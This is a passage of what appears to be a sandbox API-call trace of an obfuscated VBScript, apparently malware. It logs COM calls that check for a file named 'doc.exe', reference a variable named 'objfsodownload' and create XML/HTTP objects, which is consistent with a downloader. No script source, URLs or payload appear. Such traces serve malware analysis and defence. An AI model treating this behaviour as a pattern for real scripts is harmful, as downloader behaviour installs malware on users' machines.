riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x0) returned 0x80004002 [0072.980] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c578, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x838c578) returned 0x0 [0072.980] FileSystemObject:IUnknown:AddRef (This=0x838c578) returned 0x3 [0072.980] FileSystemObject:IUnknown:Release (This=0x838c578) returned 0x2 [0072.980] FileSystemObject:IUnknown:Release (This=0x838c578) returned 0x1 [0072.980] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0072.980] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="objfsodownload", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0072.980] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="objfsodownload", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0072.980] GetCurrentThreadId () returned 0xd44 [0072.980] IUnknown:Release (This=0x1197760) returned 0x6 [0072.980] FileSystemObject:IUnknown:AddRef (This=0x838c578) returned 0x2 [0072.981] ??3@YAXPAX@Z () returned 0x7f0001 [0072.981] ??3@YAXPAX@Z () returned 0x200001 [0072.981] ??3@YAXPAX@Z () returned 0x740001 [0072.981] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.981] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="aaaaaaaal", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.981] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="aaaaaaaal", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.981] GetCurrentThreadId () returned 0xd44 [0072.981] IUnknown:Release (This=0x1197760) returned 0x5 [0072.982] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.982] malloc (_Size=0x804) returned 0x8790008 [0072.982] ??2@YAPAXI@Z () returned 0x844b458 [0072.982] ??3@YAXPAX@Z () returned 0x1 [0072.982] malloc (_Size=0x40) returned 0x11977f0 [0072.982] malloc (_Size=0x148) returned 0x1198da8 [0072.982] ??2@YAPAXI@Z () returned 0x1129260 [0072.982] free (_Block=0x83d08e0) [0072.982] free (_Block=0x8790008) [0072.982] ??3@YAXPAX@Z () returned 0x740001 [0072.982] free (_Block=0x11977f0) [0072.982] free (_Block=0x8790818) [0072.982] free (_Block=0x11c2398) [0072.982] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.983] ??2@YAPAXI@Z () returned 0x83fd5e8 [0072.983] IUnknown:AddRef (This=0x1197760) returned 0x6 [0072.983] ??3@YAXPAX@Z () returned 0x7f0001 [0072.983] ??3@YAXPAX@Z () returned 0x200001 [0072.983] ??3@YAXPAX@Z () returned 0x740001 [0072.983] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.984] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="xnsf", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.984] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="xnsf", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.984] GetCurrentThreadId () returned 0xd44 [0072.984] IUnknown:Release (This=0x1197760) returned 0x5 [0072.984] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.984] malloc (_Size=0x804) returned 0x8790008 [0072.984] ??2@YAPAXI@Z () returned 0x844b458 [0072.984] ??3@YAXPAX@Z () returned 0x1 [0072.984] malloc (_Size=0x204) returned 0x8790818 [0072.984] malloc (_Size=0x40) returned 0x11977f0 [0072.984] malloc (_Size=0x148) returned 0x1198da8 [0072.984] ??2@YAPAXI@Z () returned 0x1129260 [0072.985] free (_Block=0x83d08e0) [0072.985] free (_Block=0x8790008) [0072.985] ??3@YAXPAX@Z () returned 0x740001 [0072.985] free (_Block=0x11977f0) [0072.985] free (_Block=0x8790818) [0072.985] free (_Block=0x11c2398) [0072.985] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.985] ??2@YAPAXI@Z () returned 0x83fd5e8 [0072.985] IUnknown:AddRef (This=0x1197760) returned 0x6 [0072.985] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c578, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0fc | out: ppvObject=0x14c0fc*=0x0) returned 0x80004002 [0072.985] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x838c578, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14c100*="fileexists", cNames=0x1, lcid=0x409, rgDispId=0x14c118 | out: rgDispId=0x14c118*=10016) returned 0x0 [0072.985] FileSystemObject:IUnknown:AddRef (This=0x838c578) returned 0x2 [0072.985] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c578, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c104 | out: ppvObject=0x14c104*=0x0) returned 0x80004002 [0072.986] FileSystemObject:IDispatch:Invoke (in: This=0x838c578, dispIdMember=10016, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14c0d0*(rgvarg=([0]=0x14c00c*(varType=0x8, wReserved1=0x6690, wReserved2=0x7764, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac, puArgErr=0x14c0f0 | out: pDispParams=0x14c0d0*(rgvarg=([0]=0x14c00c*(varType=0x8, wReserved1=0x6690, wReserved2=0x7764, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14c0f0*=0x838c578) returned 0x0 [0072.986] FileSystemObject:IUnknown:Release (This=0x838c578) returned 0x1 [0072.986] ??3@YAXPAX@Z () returned 0x7f0001 [0072.986] ??3@YAXPAX@Z () returned 0x200001 [0072.986] ??3@YAXPAX@Z () returned 0x740001 [0072.986] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.987] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="onononono", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.987] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="onononono", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.987] GetCurrentThreadId () returned 0xd44 [0072.987] IUnknown:Release (This=0x1197760) returned 0x5 [0072.987] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.987] malloc (_Size=0x804) returned 0x8790008 [0072.987] ??2@YAPAXI@Z () returned 0x844b458 [0072.987] ??3@YAXPAX@Z () returned 0x1 [0072.987] malloc (_Size=0x204) returned 0x8790818 [0072.987] ??2@YAPAXI@Z () returned 0x1129260 [0072.987] free (_Block=0x83d08e0) [0072.987] free (_Block=0x8790008) [0072.987] ??3@YAXPAX@Z () returned 0x740001 [0072.987] free (_Block=0x11977f0) [0072.987] free (_Block=0x8790818) [0072.987] free (_Block=0x11c2398) [0072.988] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.988] ??2@YAPAXI@Z () returned 0x83fd5e8 [0072.988] IUnknown:AddRef (This=0x1197760) returned 0x6 [0072.988] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0fc | out: ppvObject=0x14c0fc*=0x0) returned 0x80004002 [0072.988] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x554600, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14c100*="status", cNames=0x1, lcid=0x409, rgDispId=0x14c118 | out: rgDispId=0x14c118*=7) returned 0x0 [0072.988] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x2 [0072.988] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c104 | out: ppvObject=0x14c104*=0x0) returned 0x80004002 [0072.988] DOMDocument:IDispatch:Invoke (in: This=0x554600, dispIdMember=7, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x14c0d0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d6768, pExcepInfo=0x14c0ac, puArgErr=0x14c0f0 | out: pDispParams=0x14c0d0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d6768*(varType=0x3, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pExcepInfo=0x14c0ac*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14c0f0*=0x554600) returned 0x0 [0073.084] DOMDocument:IUnknown:Release (This=0x554600) returned 0x1 [0073.084] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0073.085] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="bvbvbvbbvbvbvbvbvb", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0073.085] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="bvbvbvbbvbvbvbvbvb", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0073.085] GetCurrentThreadId () returned 0xd44 [0073.085] IUnknown:Release (This=0x1197760) returned 0x6 [0073.085] ??3@YAXPAX@Z () returned 0x7f0001 [0073.085] ??3@YAXPAX@Z () returned 0x200001 [0073.085] ??3@YAXPAX@Z () returned 0x740001 [0073.086] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0073.086] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="alls", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0073.086] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="alls", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0073.086] GetCurrentThreadId () returned 0xd44 [0073.086] IUnknown:Release (This=0x1197760) returned 0x5 [0073.087] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.087] malloc (_Size=0x804) returned 0x8790008 [0073.087] ??2@YAPAXI@Z () returned 0x844b458 [0073.087] ??3@YAXPAX@Z () returned 0x1 [0073.087] malloc (_Size=0x204) returned 0x8790818 [0073.087] ??2@YAPAXI@Z () returned 0x1129260 [0073.087] free (_Block=0x83d08e0) [0073.087] free (_Block=0x8790008) [0073.087] ??3@YAXPAX@Z () returned 0x740001 [0073.087] free (_Block=0x11977f0) [0073.087] free (_Block=0x8790818) [0073.087] free (_Block=0x11c2398) [0073.087] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.087] ??2@YAPAXI@Z () returned 0x83fd5e8 [0073.087] IUnknown:AddRef (This=0x1197760) returned 0x6 [0073.088] IUnknown:AddRef (This=0x1197760) returned 0x7 [0073.089] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.089] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.089] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.089] GetCurrentThreadId () returned 0xd44 [0073.089] IUnknown:Release (This=0x1197760) returned 0x7 [0073.089] ??2@YAPAXI@Z () returned 0x838c598 [0073.089] ??2@YAPAXI@Z () returned 0x1105c40 [0073.089] malloc (_Size=0x40) returned 0x11977f0 [0073.090] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.090] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="cvbnm", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.090] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="cvbnm", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.090] GetCurrentThreadId () returned 0xd44 [0073.090] IUnknown:Release (This=0x1197760) returned 0x7 [0073.090] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.091] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="soswjwslvc", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.091] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="soswjwslvc", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.091] GetCurrentThreadId () returned 0xd44 [0073.091] IUnknown:Release (This=0x1197760) returned 0x7 [0073.091] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.091] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.091] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.091] GetCurrentThreadId () returned 0xd44 [0073.091] IUnknown:Release (This=0x1197760) returned 0x7 [0073.091] malloc (_Size=0x204) returned 0x8444028 [0073.092] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.093] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.093] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.093] GetCurrentThreadId () returned 0xd44 [0073.093] IUnknown:Release (This=0x1197760) returned 0x7 [0073.094] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.094] malloc (_Size=0x804) returned 0x8790008 [0073.094] ??2@YAPAXI@Z () returned 0x844b458 [0073.094] ??3@YAXPAX@Z () returned 0x1 [0073.095] ??2@YAPAXI@Z () returned 0x11291c0 [0073.095] free (_Block=0x83d08e0) [0073.095] free (_Block=0x8790008) [0073.095] ??3@YAXPAX@Z () returned 0xffff0001 [0073.095] free (_Block=0x1197838) [0073.095] free (_Block=0x8790818) [0073.095] free (_Block=0x83d71e0) [0073.095] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.095] ??2@YAPAXI@Z () returned 0x83fd610 [0073.095] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.095] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x14bb3c | out: lpclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0073.095] SysStringLen (param_1=0x0) returned 0x0 [0073.095] CoGetClassObject (in: rclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14bb2c | out: ppv=0x14bb2c*=0x72b7d4b8) returned 0x0 [0073.096] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bb28 | out: ppvObject=0x14bb28*=0x0) returned 0x80004002 [0073.096] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb30 | out: ppvObject=0x14bb30*=0x555a58) returned 0x0 [0073.098] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0073.098] DOMDocument:IUnknown:QueryInterface (in: This=0x555a58, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14baf4 | out: ppvObject=0x14baf4*=0x555a84) returned 0x0 [0073.098] ??2@YAPAXI@Z () returned 0x1112908 [0073.098] DOMDocument:IObjectWithSite:SetSite (This=0x555a84, pUnkSite=0x1112908) returned 0x0 [0073.098] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b9a8 | out: ppvObject=0x14b9a8*=0x0) returned 0x80004002 [0073.098] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b998 | out: ppvObject=0x14b998*=0x0) returned 0x80004002 [0073.098] DOMDocument:IUnknown:AddRef (This=0x1112908) returned 0x2 [0073.098] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba58 | out: ppvObject=0x14ba58*=0x1112908) returned 0x0 [0073.098] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9b8 | out: ppvObject=0x14a9b8*=0x1112908) returned 0x0 [0073.098] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0073.098] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.099] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.099] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0073.099] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.099] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.099] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0073.099] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.099] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.099] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0073.099] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.099] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.099] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.099] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.099] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, 